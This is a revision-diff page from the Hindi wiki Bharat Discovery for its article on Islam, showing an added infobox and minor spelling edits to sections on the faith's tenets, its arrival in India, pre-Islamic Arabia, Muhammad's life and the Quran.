Difference between revisions of "इस्लाम धर्म"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replace - " जिक्र" to " ज़िक्र")
m (Text replacement - "अर्थात " to "अर्थात् ")
(13 intermediate revisions by 3 users not shown)
Line 1: Line 1:
 
{{इस्लाम धर्म विषय सूची}}
 
{{इस्लाम धर्म विषय सूची}}
−
[[चित्र:Islam-Symbol.jpg|thumb|200px|इस्लाम धर्म का प्रतीक]]
+
{{सूचना बक्सा संक्षिप्त परिचय
−
'''इस्लाम''' शब्द का अर्थ है – '[[अल्लाह]] को समर्पण'। इस प्रकार [[मुसलमान]] वह है, जिसने अपने आपको अल्लाह को समर्पित कर दिया, अर्थात इस्लाम धर्म के नियमों पर चलने लगा। इस्लाम धर्म का आधारभूत सिद्धांत अल्लाह को सर्वशक्तिमान, एकमात्र ईश्वर और जगत का पालक तथा [[हज़रत मुहम्मद]] को उनका संदेशवाहक या पैगम्बर मानना है। यही बात उनके 'कलमे' में दोहराई जाती है - '''ला इलाहा इल्लल्लाह मुहम्मदुर्रसूलुल्लाह''' अर्थात 'अल्लाह एक है, उसके अलावा कोई दूसरा (दूसरी सत्ता) नहीं और मुहम्मद उसके रसूल या पैगम्बर।' कोई भी शुभ कार्य करने से पूर्व मुसलमान यह क़लमा पढ़ते हैं। इस्लाम में अल्लाह को कुछ हद तक साकार माना गया है, जो इस दुनिया से काफ़ी दूर सातवें आसमान पर रहता है। वह अभाव (शून्य) में सिर्फ़ 'कुन' कहकर ही सृष्टि रचता है। उसकी रचनाओं में आग से बने [[फ़रिश्ता|फ़रिश्ते]] और [[मिट्टी]] से बने मनुष्य सर्वश्रेष्ठ हैं। गुमराह फ़रिश्तों को '[[शैतान]]' कहा जाता है। इस्लाम के अनुसार मनुष्य सिर्फ़ एक बार दुनिया में जन्म लेता है। मृत्यु के पश्चात पुनः वह ईश्वरीय निर्णय ([[क़यामत]]) के दिन जी उठता है और मनुष्य के रूप में किये गये अपने कर्मों के अनुसार ही 'जन्नत' (स्वर्ग) या 'नरक' पाता है।
+
|चित्र=Islam-Symbol.jpg
 +
|चित्र का नाम=इस्लाम धर्म का प्रतीक
 +
|विवरण='इस्लाम' एक एकेश्वरवादी धर्म है जो [[अल्लाह]] की तरफ़ से अंतिम रसूल और नबी, [[मुहम्मद]] द्वारा इंसानों तक पहुंचाई गई अंतिम ईश्वरीय किताब ([[क़ुरआन]]) की शिक्षा पर स्थापित है।
 +
|शीर्षक 1='इस्लाम' का अर्थ
 +
|पाठ 1=[[अल्लाह]] को समर्पण
 +
|शीर्षक 2=आधारभूत सिद्धांत
 +
|पाठ 2= इस्लाम धर्म का आधारभूत सिद्धांत अल्लाह को सर्वशक्तिमान, एकमात्र ईश्वर और जगत् का पालक तथा [[हज़रत मुहम्मद]] को उनका संदेशवाहक या पैगम्बर मानना है।
 +
|शीर्षक 3=क़लमा
 +
|पाठ 3='ला इलाहा इल्लल्लाह मुहम्मदुर्रसूलुल्लाह' अर्थात् अल्लाह एक है, उसके अलावा कोई दूसरा नहीं और मुहम्मद उसके रसूल या पैगम्बर।'
 +
|शीर्षक 4=धर्म प्रवर्तक और संत
 +
|पाठ 4=[[मुहम्मद|हज़रत मुहम्मद]],  [[अब्द अल्लाह बिन अल-अब्बास]],  [[अब्द अल- क़ादिर अल-जिलानी]], [[सलीम चिश्ती]], [[मुईनुद्दीन चिश्ती]], [[निज़ामुद्दीन औलिया]] आदि
 +
|शीर्षक 5=पवित्र पुस्तक
 +
|पाठ 5=[[क़ुरआन]] जिसका [[हिंदी]] में अर्थ 'सस्वर पाठ' है। क़ुरआन शरीफ़ में 30 पारे, 114 सूरतें और 540 रुकूअ हैं। क़ुरान शरीफ़ की कुल आयत की तादाद 6666 (छः हज़ार छः सौ छियासठ) है।
 +
|शीर्षक 6=मुख्य सम्प्रदाय
 +
|पाठ 6=[[शिया]] और [[सुन्नी]]
 +
|शीर्षक 7=
 +
|पाठ 7=
 +
|शीर्षक 8=
 +
|पाठ 8=
 +
|शीर्षक 9=
 +
|पाठ 9=
 +
|शीर्षक 10=
 +
|पाठ 10=
 +
|संबंधित लेख=[[नमाज़]], [[अल्लाह]], [[फ़रिश्ता]], [[शैतान]], [[रोज़ा]], [[काबा]]
 +
|अन्य जानकारी=712 ई. में [[मुहम्मद-इब्न-क़ासिम]] के नेतृत्व में अरब के [[मुसलमान|मुसलमानों]] ने [[सिंध]] पर हमला कर दिया और वहाँ के [[ब्राह्मण]] राजा [[दाहिर]] को हरा दिया। इस तरह भारत की भूमि पर पहली बार [[इस्लाम]] का प्रवेश हुआ।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}
 +
'''इस्लाम''' ([[अरबी भाषा|अरबी]]: الإسلام, [[अंग्रेज़ी]]: ''Islam'') एक एकेश्वरवादी धर्म है जो [[अल्लाह]] की तरफ़ से अंतिम रसूल और नबी, [[मुहम्मद]] द्वारा इंसानों तक पहुंचाई गई अंतिम ईश्वरीय किताब ([[क़ुरआन]]) की शिक्षा पर स्थापित है। '''इस्लाम''' शब्द का अर्थ है – '[[अल्लाह]] को समर्पण'। इस प्रकार [[मुसलमान]] वह है, जिसने अपने आपको अल्लाह को समर्पित कर दिया, अर्थात् इस्लाम धर्म के नियमों पर चलने लगा। इस्लाम धर्म का आधारभूत सिद्धांत अल्लाह को सर्वशक्तिमान, एकमात्र ईश्वर और जगत् का पालक तथा [[हज़रत मुहम्मद]] को उनका संदेशवाहक या पैगम्बर मानना है। यही बात उनके 'कलमे' में दोहराई जाती है - '''ला इलाहा इल्लल्लाह मुहम्मदुर्रसूलुल्लाह''' अर्थात् 'अल्लाह एक है, उसके अलावा कोई दूसरा (दूसरी सत्ता) नहीं और मुहम्मद उसके रसूल या पैगम्बर।' कोई भी शुभ कार्य करने से पूर्व मुसलमान यह क़लमा पढ़ते हैं। इस्लाम में अल्लाह को कुछ हद तक साकार माना गया है, जो इस दुनिया से काफ़ी दूर सातवें आसमान पर रहता है। वह अभाव (शून्य) में सिर्फ़ 'कुन' कहकर ही सृष्टि रचता है। उसकी रचनाओं में आग से बने [[फ़रिश्ता|फ़रिश्ते]] और [[मिट्टी]] से बने मनुष्य सर्वश्रेष्ठ हैं। गुमराह फ़रिश्तों को '[[शैतान]]' कहा जाता है। इस्लाम के अनुसार मनुष्य सिर्फ़ एक बार दुनिया में जन्म लेता है। मृत्यु के पश्चात् पुनः वह ईश्वरीय निर्णय ([[क़यामत]]) के दिन जी उठता है और मनुष्य के रूप में किये गये अपने कर्मों के अनुसार ही 'जन्नत' (स्वर्ग) या 'नरक' पाता है।
  
 
'इस्लाम' को शुरुआत ही से सबका विरोध सहना पड़ा। उसने निर्भीकतापूर्वक जब दूसरों के मिथ्याविश्वासों का खण्डन किया, तो सभी ने भरसक इस्लाम को उखाड़ फैंकने का प्रयत्न किया। सचमुच जिस प्रकार का विरोध था, यदि उसी प्रकार की दृढ़ता मुसलमानों और उनके धर्मगुरु ने न दिखाई होती तो कौन कह सकता है कि इस्लाम इस प्रकार संसार के इतिहास को पलट देने में समर्थ होता।  
 
'इस्लाम' को शुरुआत ही से सबका विरोध सहना पड़ा। उसने निर्भीकतापूर्वक जब दूसरों के मिथ्याविश्वासों का खण्डन किया, तो सभी ने भरसक इस्लाम को उखाड़ फैंकने का प्रयत्न किया। सचमुच जिस प्रकार का विरोध था, यदि उसी प्रकार की दृढ़ता मुसलमानों और उनके धर्मगुरु ने न दिखाई होती तो कौन कह सकता है कि इस्लाम इस प्रकार संसार के इतिहास को पलट देने में समर्थ होता।  
 
==भारत में इस्लाम का प्रवेश==
 
==भारत में इस्लाम का प्रवेश==
 
712 ई. में [[भारत]] में इस्लाम का प्रवेश हो चुका था। [[मुहम्मद-इब्न-क़ासिम]] के नेतृत्व में अरब के [[मुसलमान|मुसलमानों]] ने [[सिंध]] पर हमला कर दिया और वहाँ के [[ब्राह्मण]] राजा [[दाहिर]] को हरा दिया। इस तरह भारत की भूमि पर पहली बार [[इस्लाम]] के पैर जम गये और बाद की शताब्दियों के [[हिन्दू धर्म|हिन्दू]] राजा उसे फिर हटा नहीं सके। परन्तु [[सिंध]] पर [[अरब देश|अरबों]] का शासन वास्तव में निर्बल था और 1176 ई. में [[शहाबुद्दीन मुहम्मद ग़ोरी]] ने उसे आसानी से उखाड़ दिया। इससे पूर्व [[सुबुक्तगीन]] के नेतृत्व में मुसलमानों ने हमला करके [[पंजाब]] छीन लिया था और [[ग़ज़नी]] के [[महमूद ग़ज़नवी|सुल्तान महमूद]] ने 997 से 1030 ई. के बीच भारत पर सत्रह बार हमले किये और [[हिन्दू]] राजाओं की शक्ति कुचल डाली, फिर भी हिन्दू राजाओं ने मुसलमानी आक्रमण का जिस अनवरत रीति से प्रबल विरोध किया, उसका महत्त्व कम करके नहीं आंकना चाहिए।
 
712 ई. में [[भारत]] में इस्लाम का प्रवेश हो चुका था। [[मुहम्मद-इब्न-क़ासिम]] के नेतृत्व में अरब के [[मुसलमान|मुसलमानों]] ने [[सिंध]] पर हमला कर दिया और वहाँ के [[ब्राह्मण]] राजा [[दाहिर]] को हरा दिया। इस तरह भारत की भूमि पर पहली बार [[इस्लाम]] के पैर जम गये और बाद की शताब्दियों के [[हिन्दू धर्म|हिन्दू]] राजा उसे फिर हटा नहीं सके। परन्तु [[सिंध]] पर [[अरब देश|अरबों]] का शासन वास्तव में निर्बल था और 1176 ई. में [[शहाबुद्दीन मुहम्मद ग़ोरी]] ने उसे आसानी से उखाड़ दिया। इससे पूर्व [[सुबुक्तगीन]] के नेतृत्व में मुसलमानों ने हमला करके [[पंजाब]] छीन लिया था और [[ग़ज़नी]] के [[महमूद ग़ज़नवी|सुल्तान महमूद]] ने 997 से 1030 ई. के बीच भारत पर सत्रह बार हमले किये और [[हिन्दू]] राजाओं की शक्ति कुचल डाली, फिर भी हिन्दू राजाओं ने मुसलमानी आक्रमण का जिस अनवरत रीति से प्रबल विरोध किया, उसका महत्त्व कम करके नहीं आंकना चाहिए।
−
 
 
==अरब==
 
==अरब==
 
{{main|अरब}}
 
{{main|अरब}}
−
अत्यंत प्राचीन काल में ‘जदीस’, ‘आद’, ‘समूद’ आदि जातियाँ, जिनका अब नाममात्र शेष है, अरब में निवास करती थीं, किन्तु [[भारत]]-सम्राट [[हर्षवर्द्धन]] के सम-सामयिक हज़रत मुहम्मद के समय ‘क़हतान’, ‘इस्माईल’ और ‘[[यहूदी]]’ वंश के लोग ही अरब में निवास करते थे। प्राचीन काल में अरब-निवासी सुसभ्य और शिल्प-कला में प्रवीण थे। परन्तु ‘'''नीचैर्गच्छत्युपरि च तथा चक्रनेमिक्रमेण'''’ के अनुसार कालान्तर में उनके वंशज घोर अविद्यान्धकार में निमग्न हो गये और सारी शिल्पकलाओं को भूल कर ऊँट-बकरी चराना मात्र उनकी जीविका का उपाय रह गया। वह इसके लिए एक स्रोत से दूसरे स्रोत, एक स्थान से दूसरे स्थान में हरे चरागाहों को खोजते हुए खेमों में निवास करके कालक्षेप करने लगे। कनखजूरा, [[गोह]], गिरगिट आदि सारे जीव उनके भक्ष्य थे। प्रज्ज्वलित [[आग|अग्नि]] में जीवित मनुष्य को डाल देना उनके समीप कोई असाधु कर्म नहीं समझा जाता था। [[हिन्दू धर्म|हिन्दू]]-पुत्र अम्रु ने अपने भाई के मारे जाने पर एक के बदले सौ के मारने की प्रतिज्ञा की।
+
अत्यंत प्राचीन काल में ‘जदीस’, ‘आद’, ‘समूद’ आदि जातियाँ, जिनका अब नाममात्र शेष है, अरब में निवास करती थीं, किन्तु [[भारत]]-सम्राट [[हर्षवर्द्धन]] के सम-सामयिक हज़रत मुहम्मद के समय ‘क़हतान’, ‘इस्माईल’ और ‘[[यहूदी]]’ वंश के लोग ही अरब में निवास करते थे। प्राचीन काल में अरब-निवासी सुसभ्य और शिल्प-कला में प्रवीण थे। परन्तु ‘'''नीचैर्गच्छत्युपरि च तथा चक्रनेमिक्रमेण'''’ के अनुसार कालान्तर में उनके वंशज घोर अविद्यान्धकार में निमग्न हो गये और सारी शिल्पकलाओं को भूल कर ऊँट-बकरी चराना मात्र उनकी जीविका का उपाय रह गया। वह इसके लिए एक स्रोत से दूसरे स्रोत, एक स्थान से दूसरे स्थान में हरे चरागाहों को खोजते हुए खेमों में निवास करके कालक्षेप करने लगे। कनखजूरा, [[गोह]], [[गिरगिट]] आदि सारे जीव उनके भक्ष्य थे। प्रज्ज्वलित [[आग|अग्नि]] में जीवित मनुष्य को डाल देना उनके समीप कोई असाधु कर्म नहीं समझा जाता था। [[हिन्दू धर्म|हिन्दू]]-पुत्र अम्रु ने अपने भाई के मारे जाने पर एक के बदले सौ के मारने की प्रतिज्ञा की।
−
 
 
 
==हज़रत मुहम्मद==
 
==हज़रत मुहम्मद==
 
{{main|मुहम्मद}}
 
{{main|मुहम्मद}}
−
इस्लाम धर्म के प्रवर्तक [[हज़रत मुहम्मद साहब]] थे, जिनका जन्म 570 ई. को सउदी अरब के [[मक्का (अरब)|मक्का]] नामक स्थान में कुरैश क़बीले के अब्दुल्ला नामक व्यापारी के घर हुआ था। जन्म के पूर्व ही पिता की और पाँच [[वर्ष]] की आयु में माता की मृत्यु हो जाने के फलस्वरूप उनका पालन-पोषण उनके दादा मुतल्लिब और चाचा अबू तालिब ने किया था। 25 वर्ष की आयु में उन्होंने ख़दीजा नामक एक विधवा से विवाह किया। मोहम्मद साहब के जन्म के समय अरबवासी अत्यन्त पिछडी, क़बीलाई और चरवाहों की ज़िन्दगी बिता रहे थे। अतः मुहम्मद साहब ने उन क़बीलों को संगठित करके एक स्वतंत्र राष्ट्र बनाने का प्रयास किया। 15 वर्ष तक व्यापार में लगे रहने के पश्चात वे कारोबार छोड़कर चिन्तन-मनन में लीन हो गये। मक्का के समीप हिरा की चोटी पर कई दिन तक चिन्तनशील रहने के उपरान्त उन्हें देवदूत जिबरील का संदेश प्राप्त हुआ कि वे जाकर [[क़ुरान शरीफ़]] के रूप में प्राप्त ईश्वरीय संदेश का प्रचार करें। तत्पश्चात उन्होंने इस्लाम धर्म का प्रचार शुरू किया। उन्होंने मूर्ति पूजा का विरोध किया, जिससे मक्का का पुरोहित वर्ग भड़क उठा और अन्ततः मुहम्मद साहब ने 16 जुलाई 622 को मक्का छोड़कर वहाँ से 300 किलोमीटर उत्तर की ओर यसरिब ([[मदीना]]) की ओर कूच कर दिया। उनकी यह यात्रा इस्लाम में 'हिजरत' कहलाती है। इसी दिन से '[[हिजरी संवत]]' का प्रारम्भ माना जाता है। कालान्तर में 630 ई. में अपने लगभग 10 हज़ार अनुयायियों के साथ मुहम्मद साहब ने मक्का पर चढ़ाई करके उसे जीत लिया और वहाँ इस्लाम को लोकप्रिय बनाया। दो वर्ष पश्चात [[8 जून]], 632 को उनका निधन हो गया।  
+
इस्लाम धर्म के प्रवर्तक [[हज़रत मुहम्मद साहब]] थे, जिनका जन्म 570 ई. को सउदी अरब के [[मक्का (अरब)|मक्का]] नामक स्थान में कुरैश क़बीले के अब्दुल्ला नामक व्यापारी के घर हुआ था। जन्म के पूर्व ही पिता की और पाँच [[वर्ष]] की आयु में माता की मृत्यु हो जाने के फलस्वरूप उनका पालन-पोषण उनके दादा मुतल्लिब और चाचा अबू तालिब ने किया था। 25 वर्ष की आयु में उन्होंने ख़दीजा नामक एक विधवा से विवाह किया। मोहम्मद साहब के जन्म के समय अरबवासी अत्यन्त पिछडी, क़बीलाई और चरवाहों की ज़िन्दगी बिता रहे थे। अतः मुहम्मद साहब ने उन क़बीलों को संगठित करके एक स्वतंत्र राष्ट्र बनाने का प्रयास किया। 15 वर्ष तक व्यापार में लगे रहने के पश्चात् वे कारोबार छोड़कर चिन्तन-मनन में लीन हो गये। मक्का के समीप हिरा की चोटी पर कई दिन तक चिन्तनशील रहने के उपरान्त उन्हें देवदूत जिबरील का संदेश प्राप्त हुआ कि वे जाकर [[क़ुरान शरीफ़]] के रूप में प्राप्त ईश्वरीय संदेश का प्रचार करें। तत्पश्चात् उन्होंने इस्लाम धर्म का प्रचार शुरू किया। उन्होंने मूर्ति पूजा का विरोध किया, जिससे मक्का का पुरोहित वर्ग भड़क उठा और अन्ततः मुहम्मद साहब ने 16 जुलाई 622 को मक्का छोड़कर वहाँ से 300 किलोमीटर उत्तर की ओर यसरिब ([[मदीना]]) की ओर कूच कर दिया। उनकी यह यात्रा इस्लाम में 'हिजरत' कहलाती है। इसी दिन से '[[हिजरी संवत]]' का प्रारम्भ माना जाता है। कालान्तर में 630 ई. में अपने लगभग 10 हज़ार अनुयायियों के साथ मुहम्मद साहब ने मक्का पर चढ़ाई करके उसे जीत लिया और वहाँ इस्लाम को लोकप्रिय बनाया। दो वर्ष पश्चात् [[8 जून]], 632 को उनका निधन हो गया।  
 
====तत्कालीन मूर्तियाँ====
 
====तत्कालीन मूर्तियाँ====
 
‘हुब्ल’, ‘लात्’, ‘मनात्’ ‘उज्ज’ आदि भिन्न-भिन्न अनेक देव-प्रतिमाएँ उस समय अरब के प्रत्येक कबील में लोगों की इष्ट थीं। बहुत पुराने समय में वहाँ मूर्तिपूजा न थी। ‘अमरू’ नामक काबा के एक प्रधान पुजारी ने ‘शाम’ देश में सुना कि इसकी आराधना से दुष्काल से रक्षा और शत्रु पर विजय प्राप्त होती है। उसी ने पहले-पहल ‘शाम’ से लाकर कुछ मूर्तियाँ काबा के मन्दिर में स्थापित कीं। देखादेखी इसका प्रचार इतना बढ़ा कि सारा देश मूर्तिपूजा में निमग्न हो गया। अकेले ‘काबा’ मन्दिर में 360 देवमूर्तियाँ थीं, जिनमें हुब्ल-जो छत पर स्थापित था - कुरेश - वंशियों का इष्ट था। ‘जय<ref>‘अलल्-हुब्ल’</ref> हुब्ल’ उनका जातीय घोष था। लोग मानते थे कि ये मूर्तियाँ ईश्वर को प्राप्त कराती हैं, इसीलिए वे उन्हें पूजते थे। अरबी में ‘इलाह’ शब्द [[देवता]] और उनकी मूर्तियों के लिए प्रयुक्त होते है; किन्तु ‘अलाह’ शब्द ‘इस्लाम’ काल से पहले उस समय भी एक ही ईश्वर के लिए प्रयुक्त होता था।
 
‘हुब्ल’, ‘लात्’, ‘मनात्’ ‘उज्ज’ आदि भिन्न-भिन्न अनेक देव-प्रतिमाएँ उस समय अरब के प्रत्येक कबील में लोगों की इष्ट थीं। बहुत पुराने समय में वहाँ मूर्तिपूजा न थी। ‘अमरू’ नामक काबा के एक प्रधान पुजारी ने ‘शाम’ देश में सुना कि इसकी आराधना से दुष्काल से रक्षा और शत्रु पर विजय प्राप्त होती है। उसी ने पहले-पहल ‘शाम’ से लाकर कुछ मूर्तियाँ काबा के मन्दिर में स्थापित कीं। देखादेखी इसका प्रचार इतना बढ़ा कि सारा देश मूर्तिपूजा में निमग्न हो गया। अकेले ‘काबा’ मन्दिर में 360 देवमूर्तियाँ थीं, जिनमें हुब्ल-जो छत पर स्थापित था - कुरेश - वंशियों का इष्ट था। ‘जय<ref>‘अलल्-हुब्ल’</ref> हुब्ल’ उनका जातीय घोष था। लोग मानते थे कि ये मूर्तियाँ ईश्वर को प्राप्त कराती हैं, इसीलिए वे उन्हें पूजते थे। अरबी में ‘इलाह’ शब्द [[देवता]] और उनकी मूर्तियों के लिए प्रयुक्त होते है; किन्तु ‘अलाह’ शब्द ‘इस्लाम’ काल से पहले उस समय भी एक ही ईश्वर के लिए प्रयुक्त होता था।
Line 19: Line 45:
 
श्रीमती ‘[[खदीजा]]’ और उनके भाई ‘नौफ़ल’ मूर्तिपूजा - विरोधी [[यहूदी धर्म]] के अनुयायी थे। उनके और अपनी यात्राओं में अनेक शिष्ट महात्माओं के सत्संग एवं लोगों के पाखण्ड ने उन्हें मूर्तिपूजा से विमुख बना दिया। वह [[ईसाई धर्म|ईसाई]] भिक्षुओं की भाँति बहुधा ‘हिरा’ की गुफा में एकान्त-सेवन और ईश्वर - प्रणिधान के लिए जाया करते थे। ‘इका बि-इस्मि रब्बिक’ (पढ़ अपने प्रभु के नाम के साथ) यह प्रथम क़ुरान वाक्य पहले वहीं पर देवदूत ‘जिब्राइल’ द्वारा महात्मा मुहम्मद के हृदय में उतारा गया। उस समय देवदूत के भयंकर शरीर को देखकर क्षण भर के लिए वह मूर्च्छित हो गये थे। जब उन्होंने इस वृत्तान्त को श्रीमती ‘ख़दीजा’ और ‘नौफ़ल’ को सुनाया तो उन्होंने कहा- '''अवश्य वह देवदूत था जो इस भगवत्वाक्य को लेकर तुम्हारे पास आया था।''' इस समय महात्मा मुहम्मद की आयु 40 वर्ष की थी। यहीं से उनकी पैगम्बरी (भगवतता) का समय प्रास्म्भ होता है।
 
श्रीमती ‘[[खदीजा]]’ और उनके भाई ‘नौफ़ल’ मूर्तिपूजा - विरोधी [[यहूदी धर्म]] के अनुयायी थे। उनके और अपनी यात्राओं में अनेक शिष्ट महात्माओं के सत्संग एवं लोगों के पाखण्ड ने उन्हें मूर्तिपूजा से विमुख बना दिया। वह [[ईसाई धर्म|ईसाई]] भिक्षुओं की भाँति बहुधा ‘हिरा’ की गुफा में एकान्त-सेवन और ईश्वर - प्रणिधान के लिए जाया करते थे। ‘इका बि-इस्मि रब्बिक’ (पढ़ अपने प्रभु के नाम के साथ) यह प्रथम क़ुरान वाक्य पहले वहीं पर देवदूत ‘जिब्राइल’ द्वारा महात्मा मुहम्मद के हृदय में उतारा गया। उस समय देवदूत के भयंकर शरीर को देखकर क्षण भर के लिए वह मूर्च्छित हो गये थे। जब उन्होंने इस वृत्तान्त को श्रीमती ‘ख़दीजा’ और ‘नौफ़ल’ को सुनाया तो उन्होंने कहा- '''अवश्य वह देवदूत था जो इस भगवत्वाक्य को लेकर तुम्हारे पास आया था।''' इस समय महात्मा मुहम्मद की आयु 40 वर्ष की थी। यहीं से उनकी पैगम्बरी (भगवतता) का समय प्रास्म्भ होता है।
  
−
====इस्लाम का प्रचार और कष्ट====
+
====इस्लाम का प्रचार====
 
{{दाँयाबक्सा|पाठ=यह पुण्य नहीं कि तुम अपने मुँह को पूर्व या पश्चिम की ओर कर लो। पुण्य तो यह है - परमेश्वर, अन्तिम दिन, देवदूतों, पुस्तक और ऋषियों पर श्रृद्धा रखना, धन को प्रेमियों, सम्बन्धियों, अनाथों, दरिद्रों, पथिकों, याचिकों और गर्दन बचाने वालों के लिए देना, उपवास (रोज़ा) रखना, दान देना, जब प्रतिज्ञा कर चुके तो अपनी प्रतिज्ञा को पूर्ण करना, विपत्तियों, हानियों और युद्धों में सहिष्णु (होना), (जो ऐसा करते हैं) वही लोग सच्चे और संयमी हैं।|विचारक=}}
 
{{दाँयाबक्सा|पाठ=यह पुण्य नहीं कि तुम अपने मुँह को पूर्व या पश्चिम की ओर कर लो। पुण्य तो यह है - परमेश्वर, अन्तिम दिन, देवदूतों, पुस्तक और ऋषियों पर श्रृद्धा रखना, धन को प्रेमियों, सम्बन्धियों, अनाथों, दरिद्रों, पथिकों, याचिकों और गर्दन बचाने वालों के लिए देना, उपवास (रोज़ा) रखना, दान देना, जब प्रतिज्ञा कर चुके तो अपनी प्रतिज्ञा को पूर्ण करना, विपत्तियों, हानियों और युद्धों में सहिष्णु (होना), (जो ऐसा करते हैं) वही लोग सच्चे और संयमी हैं।|विचारक=}}
 
ईश्वर के दिव्य आदेश को प्राप्त कर उन्होंने [[मक्का]] के दाम्भिक और समागत यात्रियों को क़ुरान का उपदेश सुनाना आरम्भ किया। मेला के ख़ास दिनों (‘इह्राम’ के महीनों) में दूर से आयें हुए तीर्थ-यात्रियों के समूह को छल-पाखण्डयुक्त लोकाचार और अनेक देवताओं की अपासना का खण्डन करके, वह एक ईश्वर (अल्लाह) की उपासना और शुद्ध तथा सरल धर्म के अनुष्ठान का उपदेश करते थे। ‘क़ुरैशी’ लोग अपने इष्ट, आचार और आमदनी की इस प्रकार निन्दा और उस पर इस प्रकार का कुठाराघात देखकर भी ‘हाशिम’- परिवार की चिरशत्रुता के भय से उन्हें मारने की हिम्मन न कर सकते थे। किन्तु इस नवीन धर्म-अनुयायी, दास-दासियों को तप्त बालू पर लिटाते, कोड़े मारते तथा बहुत कष्ट देते थे; तो भी धर्म के मतवाले प्राणपण से अपने धर्म को न छोड़ने के लिए तैयार थे। इस अमानुषिक असह्य अत्याचार को दिन पर दिन बढ़ते देख कर अन्त में महात्मा ने अनुयानियों को ‘[[अफ्रीका]]’ खण्ड के ‘हब्स’ नामक राज्य में- जहाँ का राजा बड़ा न्यायपरायण था- चले जाने की अनुमति दे दी। जैसे-जैसे [[मुसलमान|मुसलमानों]] की संख्या बढ़ती जाती थी, ‘क़ुरैशी’ का द्वेष भी वैसे-वैसे बढ़ता जाता था; किन्तु ‘अबूतालिब’ के जीवन-पर्यन्त खुलकर उपद्रव करने की उनकी हिम्मत न होती थी। जब ‘अबूतालिब’ का देहान्त हो गया तो उन्होंने खुले तौर पर विरोध करने पर कमर बाँधी।
 
ईश्वर के दिव्य आदेश को प्राप्त कर उन्होंने [[मक्का]] के दाम्भिक और समागत यात्रियों को क़ुरान का उपदेश सुनाना आरम्भ किया। मेला के ख़ास दिनों (‘इह्राम’ के महीनों) में दूर से आयें हुए तीर्थ-यात्रियों के समूह को छल-पाखण्डयुक्त लोकाचार और अनेक देवताओं की अपासना का खण्डन करके, वह एक ईश्वर (अल्लाह) की उपासना और शुद्ध तथा सरल धर्म के अनुष्ठान का उपदेश करते थे। ‘क़ुरैशी’ लोग अपने इष्ट, आचार और आमदनी की इस प्रकार निन्दा और उस पर इस प्रकार का कुठाराघात देखकर भी ‘हाशिम’- परिवार की चिरशत्रुता के भय से उन्हें मारने की हिम्मन न कर सकते थे। किन्तु इस नवीन धर्म-अनुयायी, दास-दासियों को तप्त बालू पर लिटाते, कोड़े मारते तथा बहुत कष्ट देते थे; तो भी धर्म के मतवाले प्राणपण से अपने धर्म को न छोड़ने के लिए तैयार थे। इस अमानुषिक असह्य अत्याचार को दिन पर दिन बढ़ते देख कर अन्त में महात्मा ने अनुयानियों को ‘[[अफ्रीका]]’ खण्ड के ‘हब्स’ नामक राज्य में- जहाँ का राजा बड़ा न्यायपरायण था- चले जाने की अनुमति दे दी। जैसे-जैसे [[मुसलमान|मुसलमानों]] की संख्या बढ़ती जाती थी, ‘क़ुरैशी’ का द्वेष भी वैसे-वैसे बढ़ता जाता था; किन्तु ‘अबूतालिब’ के जीवन-पर्यन्त खुलकर उपद्रव करने की उनकी हिम्मत न होती थी। जब ‘अबूतालिब’ का देहान्त हो गया तो उन्होंने खुले तौर पर विरोध करने पर कमर बाँधी।
 
====मदीना-प्रवास====
 
====मदीना-प्रवास====
−
अब महात्मा मुहम्मद की अवस्था 53 वर्ष की थी। उनकी स्त्री श्रीमती ‘खदीजा’ का देहान्त हो चुका था। एक दिन ‘क़ुरैशियों’ ने हत्या के अभिप्राय से उनके घर को चारों ओर से घेर लिया, किन्तु महात्मा को इसका पता पहले से ही मिल चुका था। उन्होंने पूर्व ही वहाँ से ‘यस्रिब’ ([[मदीना]]) नगर को प्रस्थान कर दिया था। वहाँ के शिष्य-वर्ग ने अति श्रद्धा से गुरु सुश्रुषा करने की प्रार्थना की थी। पहुँचने पर उन्होंने महात्मा के भोजन, वासगृह आदि का प्रबन्ध कर दिया। जब से उनका निवास ‘यास्रिब’ में हुआ, तब से नगर का नाम ‘मदीतुन्नबी’ या नबी का नगर प्रख्यात हुआ। उसी को छोटा करके आजकल केवल ‘मदीना’ कहते हैं। ‘क़ुरान’ में तीस खण्ड हैं और वह 114 ‘सूरतों’ (अध्यायों) में भी विभक्त है।<ref> प्रत्येक अध्याय में अनेक ‘रकूअ’ और प्रत्येक ‘रकूअ’ में अनेक ‘आयते’ होती हैं।</ref> निवास-क्रम से प्रत्येक सूरत ‘मक्की’ या ‘मद्नी’ नाम से पुकारी जाती है, अर्थात मक्का में उतरी ‘सूरतें’ ‘मक्की’ और मदीना में उतरी ‘मद्नी’ कही जाती है।
+
अब महात्मा मुहम्मद की अवस्था 53 वर्ष की थी। उनकी स्त्री श्रीमती ‘खदीजा’ का देहान्त हो चुका था। एक दिन ‘क़ुरैशियों’ ने हत्या के अभिप्राय से उनके घर को चारों ओर से घेर लिया, किन्तु महात्मा को इसका पता पहले से ही मिल चुका था। उन्होंने पूर्व ही वहाँ से ‘यस्रिब’ ([[मदीना]]) नगर को प्रस्थान कर दिया था। वहाँ के शिष्य-वर्ग ने अति श्रद्धा से गुरु सुश्रुषा करने की प्रार्थना की थी। पहुँचने पर उन्होंने महात्मा के भोजन, वासगृह आदि का प्रबन्ध कर दिया। जब से उनका निवास ‘यास्रिब’ में हुआ, तब से नगर का नाम ‘मदीतुन्नबी’ या नबी का नगर प्रख्यात हुआ। उसी को छोटा करके आजकल केवल ‘मदीना’ कहते हैं। ‘क़ुरान’ में तीस खण्ड हैं और वह 114 ‘सूरतों’ (अध्यायों) में भी विभक्त है।<ref> प्रत्येक अध्याय में अनेक ‘रकूअ’ और प्रत्येक ‘रकूअ’ में अनेक ‘आयते’ होती हैं।</ref> निवास-क्रम से प्रत्येक सूरत ‘मक्की’ या ‘मद्नी’ नाम से पुकारी जाती है, अर्थात् मक्का में उतरी ‘सूरतें’ ‘मक्की’ और मदीना में उतरी ‘मद्नी’ कही जाती है।
  
 
==मुहम्मद अन्तिम पैग़म्बर==
 
==मुहम्मद अन्तिम पैग़म्बर==
Line 35: Line 61:
 
“'''हमने अरबी क़ुरान रचा कि तुमको ज्ञान हो। निस्सन्देह वह उत्तम ज्ञान-भण्डार हमारे पास पुस्तकों की माता (लौह महफूज) में लिखा है'''।“ <ref>53 : 1 : 3-5</ref>
 
